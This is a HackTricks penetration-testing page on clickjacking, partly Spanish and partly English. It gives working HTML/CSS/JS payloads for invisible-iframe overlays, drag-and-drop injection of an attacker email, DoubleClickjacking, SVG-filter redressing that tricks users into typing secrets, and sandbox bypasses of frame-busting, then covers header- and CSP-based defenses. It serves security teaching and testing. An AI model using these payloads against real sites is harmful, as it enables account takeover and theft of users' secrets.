Clickjacking
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
¿Qué es Clickjacking
En un ataque de clickjacking, un usuario es engañado para hacer clic en un elemento de una página web que está invisible o disfrazado como un elemento diferente. Esta manipulación puede provocar consecuencias no deseadas para el usuario, como la descarga de malware, la redirección a páginas web maliciosas, la entrega de credenciales o información sensible, transferencias de dinero o la compra de productos en línea.
Truco de prellenado de formularios
A veces es posible llenar el valor de los campos de un formulario usando GET parameters when loading a page. Un atacante puede abusar de este comportamiento para rellenar un formulario con datos arbitrarios y enviar el clickjacking payload para que el usuario presione el botón Submit.
Rellenar formulario con Drag&Drop
Si necesitas que el usuario rellene un formulario pero no quieres pedirle directamente que escriba información específica (como el email y/o la contraseña concreta que conoces), puedes simplemente pedirle que Drag&Drop algo que escribirá tus datos controlados como en this example.
Payload básico
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Payload de varios pasos
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Clic payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Si has identificado un XSS que requiere que un usuario haga clic en algún elemento para disparar el XSS y la página es vulnerable a clickjacking, podrías abusar de ello para engañar al usuario y que haga clic en el botón/enlace.
Example:
Has encontrado un self XSS en algunos detalles privados de la cuenta (detalles que solo tú puedes establecer y leer). La página con el formulario para establecer estos detalles es vulnerable a Clickjacking y puedes prepopulate el formulario con los parámetros GET.
Un atacante podría preparar un ataque de Clickjacking a esa página prepopulating el formulario con la XSS payload y engañando al usuario para que envíe el formulario. Entonces, cuando el formulario se envíe y los valores se modifiquen, el usuario ejecutará el XSS.
DoubleClickjacking
Firstly explained in this post, esta técnica pediría a la víctima que haga doble clic en un botón de una página personalizada colocada en una ubicación específica, y usa las diferencias de timing entre los eventos mousedown y onclick para cargar la página de la víctima durante el doble clic, de modo que la victim actually clicks a legit button in the victim page.
Un ejemplo puede verse en este video: https://www.youtube.com/watch?v=4rGvRRMrD18
A code example can be found in this page.
Warning
Esta técnica permite engañar al usuario para que haga clic en un solo lugar de la página víctima, esquivando todas las protecciones contra clickjacking. Por eso el atacante necesita encontrar acciones sensibles que se puedan realizar con un solo clic, como diálogos de OAuth para aceptar permisos.
Popup-based DoubleClickjacking (no iframes)
Some PoCs abandon iframes entirely and keep a background popup aligned under the cursor. The attacker page tracks mousemove and uses a small popup (window.open) that is moved with moveTo() while it is same-origin; once aligned, it is redirected back to the target origin so the next click lands on the real button. Because cross‑origin moveTo() is blocked, the popup is briefly navigated to an attacker origin for repositioning, then location/history.back() returns to the target. To surface the target at click time, the attacker can re‑open the popup with the same window name to bring it to the foreground without changing the URL.
<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>
SVG Filters / Cross-Origin Iframe UI Redressing
Las versiones modernas de Chromium/WebKit/Gecko permiten que CSS filter:url(#id) se aplique a iframes cross-origin. Los píxeles rasterizados del iframe se exponen al grafo de filtros SVG como SourceGraphic, por lo que primitivas como feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. pueden deformar arbitrariamente la UI de la víctima antes de que el usuario la vea, incluso aunque el atacante nunca toque el DOM. Un filtro simple estilo Liquid-Glass se ve así:
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- Primitivas útiles:
feImagecarga bitmaps del atacante (p. ej., overlays, displacement maps);feFloodconstruye mates de color constante;feOffset/feGaussianBlurrefinan los realces;feDisplacementMaprefracta/deforma texto;feComposite operator="arithmetic"implementa matemáticas arbitrarias por canal (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), lo cual es suficiente para aumento de contraste, enmascaramiento y operaciones AND/OR;feTilerecorta y replica probes de píxeles;feMorphologycrece/encoge trazos;feColorMatrixmueve luma hacia alpha para construir máscaras precisas.
Distorsionando secretos en indicaciones tipo CAPTCHA
Si un framable endpoint renderiza secretos (tokens, reset codes, API keys), el atacante puede distorsionarlos para que se parezcan a un CAPTCHA y coaccionar su transcripción manual:
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
Los píxeles distorsionados engañan al usuario para que “resuelva” el captcha dentro del <input> controlado por el atacante cuyo pattern hace cumplir el verdadero secreto de la víctima.
Recontextualizing victim inputs
Los filtros pueden eliminar quirúrgicamente el texto de placeholder/validación mientras conservan las pulsaciones del usuario. Un flujo de trabajo:
feComposite operator="arithmetic" k2≈4amplifica el brillo para que el texto auxiliar gris se sature a blanco.feTilelimita el área de trabajo al rectángulo del input.feMorphology operator="erode"engrosa los glifos oscuros que la víctima escribe y los almacena medianteresult="thick".feFloodcrea una placa blanca,feBlend mode="difference"conthick, y un segundofeComposite k2≈100lo convierte en una máscara de luminancia marcada.feColorMatrixmueve esa luma al alpha, yfeComposite in="SourceGraphic" operator="in"conserva solo los glifos introducidos por el usuario.- Otro
feBlend in2="white"más un recorte fino produce un textbox limpio, tras lo cual el atacante superpone sus propias etiquetas HTML (p. ej., “Introduce tu correo electrónico”) mientras el iframe oculto sigue aplicando la política de contraseñas del origen de la víctima.
Safari tiene problemas con feTile; el mismo efecto puede reproducirse con máscaras espaciales construidas a partir de feFlood + feColorMatrix + feComposite para payloads exclusivos de WebKit.
Pixel probes, logic and state machines
Al recortar una región de 2–4 px con feTile y replicarla hasta cubrir el 100% del viewport, el atacante transforma el color muestreado en una textura de fotograma completo que puede umbralizarse en una máscara booleana:
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
Para colores arbitrarios, una referencia feFlood (p. ej., #0B57D0) más feBlend mode="difference" y otro composite aritmético (k2≈100, k4 como tolerancia) produce blanco solo cuando el píxel muestreado coincide con el tono objetivo. Alimentar estas máscaras a feComposite con k1..k4 ajustados genera puertas lógicas: AND vía k1=1, OR vía k2=k3=1, XOR vía feBlend mode="difference", NOT mediante mezcla contra blanco. Encadenar puertas construye un sumador completo dentro del grafo de filtros, demostrando que la pipeline es funcionalmente completa.
Por tanto, los atacantes pueden leer el estado de la UI sin JavaScript. Ejemplos de booleanos de un flujo de diálogo modal:
- D (dialog visible): sondear una esquina oscurecida y probar contra blanco.
- L (dialog loaded): sondear las coordenadas donde aparece el botón una vez que está listo.
- C (checkbox checked): comparar el píxel de la casilla con el azul activo
#0B57D0. - R (red success/failure banner): usar
feMorphologyy umbrales rojos dentro del rectángulo del banner.
Cada estado detectado habilita un bitmap de superposición distinto embebido vía feImage xlink:href="data:...". Enmascarar esos bitmaps con D, L, C, R mantiene las superposiciones sincronizadas con el diálogo real y guía a la víctima a través de flujos multi-paso (restablecimientos de contraseña, aprobaciones, confirmaciones destructivas) sin exponer nunca el DOM.
Diálogo de Basic Auth en iframe sandboxeado (no allow-popups)
Un iframe sandboxeado sin allow-popups aún puede mostrar un diálogo de HTTP Basic Authentication modal cuando una carga devuelve 401 con WWW-Authenticate. El diálogo lo genera la capa de red/autenticación del navegador (no los alert/prompt/confirm de JS), así que las restricciones de popup del sandbox no lo suprimen. Si puedes scriptar el iframe (p. ej., sandbox="allow-scripts") puedes navegarlo a cualquier endpoint que emita un desafío de Basic Auth:
<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>
Una vez que llega la respuesta, el navegador solicita credenciales aunque los popups estén desactivados. Enmarcar un origen de confianza con este truco permite UI redress/phishing: cuadros modales inesperados dentro de un widget “sandboxed” pueden confundir a los usuarios o provocar que password managers ofrezcan credenciales almacenadas.
Extensiones del navegador: DOM-based autofill clickjacking
Además de iframing páginas de la víctima, los atacantes pueden apuntar a elementos de UI de extensiones del navegador que se inyectan en la página. Password managers muestran menús desplegables de autofill cerca de inputs enfocados; al enfocar un campo controlado por el atacante y ocultar/ocludir el desplegable de la extensión (trucos de opacity/overlay/top-layer), un clic obligado del usuario puede seleccionar un elemento almacenado y rellenar datos sensibles en inputs controlados por el atacante. Esta variante no requiere exposición por iframe y funciona íntegramente mediante manipulación del DOM/CSS.
Un caso real: Dashlane divulgó un problema de passkey dialog clickjacking (Aug 2025) donde XSS en el dominio del relying-party permitió a un atacante superponer HTML sobre el passkey dialog de la extensión. Un clic en el elemento del atacante procedería con el login legítimo por passkey (el passkey en sí no queda expuesto), convirtiendo efectivamente un UI-redress en acceso a la cuenta si el RP ya es vulnerable a inyección de scripts.
- For concrete techniques and PoCs see: BrowExt - ClickJacking
Estrategias para Mitigar Clickjacking
Defensas del lado del cliente
Los scripts ejecutados en el cliente pueden realizar acciones para prevenir Clickjacking:
- Asegurarse de que la ventana de la aplicación sea la ventana principal o top window.
- Hacer visibles todos los frames.
- Evitar clics en frames invisibles.
- Detectar y alertar a los usuarios sobre intentos potenciales de Clickjacking.
Sin embargo, estos scripts anti-frame pueden ser eludidos:
- Browsers’ Security Settings: Algunos navegadores podrían bloquear estos scripts según sus configuraciones de seguridad o por falta de soporte de JavaScript.
- HTML5 iframe
sandboxAttribute: Un atacante puede neutralizar los frame buster scripts estableciendo el atributosandboxcon valoresallow-formsoallow-scriptssinallow-top-navigation. Esto impide que el iframe verifique si es la top window, e.g.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Los valores allow-forms y allow-scripts permiten acciones dentro del iframe mientras deshabilitan la navegación de nivel superior. Para asegurar la funcionalidad prevista del sitio objetivo, podrían ser necesarios permisos adicionales como allow-same-origin y allow-modals, dependiendo del tipo de ataque. Los mensajes de la consola del navegador pueden indicar qué permisos permitir.
Server-Side Defenses
X-Frame-Options
El encabezado de respuesta HTTP X-Frame-Options informa a los navegadores sobre la legitimidad de renderizar una página en un <frame> o <iframe>, ayudando a prevenir Clickjacking:
X-Frame-Options: deny- Ningún dominio puede enmarcar el contenido.X-Frame-Options: sameorigin- Solo el mismo sitio puede enmarcar el contenido.X-Frame-Options: allow-from https://trusted.com- Solo la ‘uri’ especificada puede enmarcar la página.- Nota sobre las limitaciones: si el navegador no soporta esta directiva, podría no funcionar. Algunos navegadores prefieren la directiva frame-ancestors de CSP.
Content Security Policy (CSP) frame-ancestors directive
La directiva frame-ancestors en CSP es el método recomendado para la protección contra Clickjacking:
frame-ancestors 'none'- Similar aX-Frame-Options: deny.frame-ancestors 'self'- Similar aX-Frame-Options: sameorigin.frame-ancestors trusted.com- Similar aX-Frame-Options: allow-from.
Por ejemplo, la siguiente CSP solo permite el embeber desde el mismo dominio:
Content-Security-Policy: frame-ancestors 'self';
Se pueden encontrar más detalles y ejemplos complejos en la frame-ancestors CSP documentation y en la Mozilla’s CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) es una medida de seguridad que ayuda a prevenir Clickjacking y otros ataques de inyección de código al especificar qué orígenes debe permitir el navegador para cargar contenido.
frame-src Directive
- Define orígenes válidos para frames.
- Más específico que la directiva
default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Esta política permite frames desde el mismo origen (self) y https://trusted-website.com.
child-src Directiva
- Introducida en CSP level 2 para establecer fuentes válidas para web workers y frames.
- Actúa como un fallback para frame-src y worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Esta política permite frames y workers del mismo origen (self) y https://trusted-website.com.
Notas de uso:
- Deprecación: child-src se está eliminando en favor de frame-src y worker-src.
- Comportamiento de fallback: Si frame-src está ausente, child-src se usa como fallback para frames. Si ambos están ausentes, se usa default-src.
- Definición estricta de fuentes: Incluye solo fuentes de confianza en las directivas para prevenir la explotación.
Scripts JavaScript para impedir que una página web sea enmarcada
Aunque no son completamente infalibles, los scripts basados en JavaScript para impedir que una página web sea enmarcada pueden usarse para evitar que ésta sea insertada en un frame. Ejemplo:
if (top !== self) {
top.location = self.location
}
Uso de Anti-CSRF Tokens
- Validación de tokens: Utiliza anti-CSRF tokens en aplicaciones web para asegurar que las solicitudes que modifican el estado sean realizadas intencionalmente por el usuario y no a través de una página Clickjacked.
Referencias
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
- Iframe sandbox Basic Auth modal
- Chromestatus: Restrict sandboxed frame dialogs
- Chromium issue about sandboxed auth dialogs
- DoubleClickjacking PoC details (evil.blog)
- Dashlane passkey dialog clickjacking advisory
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


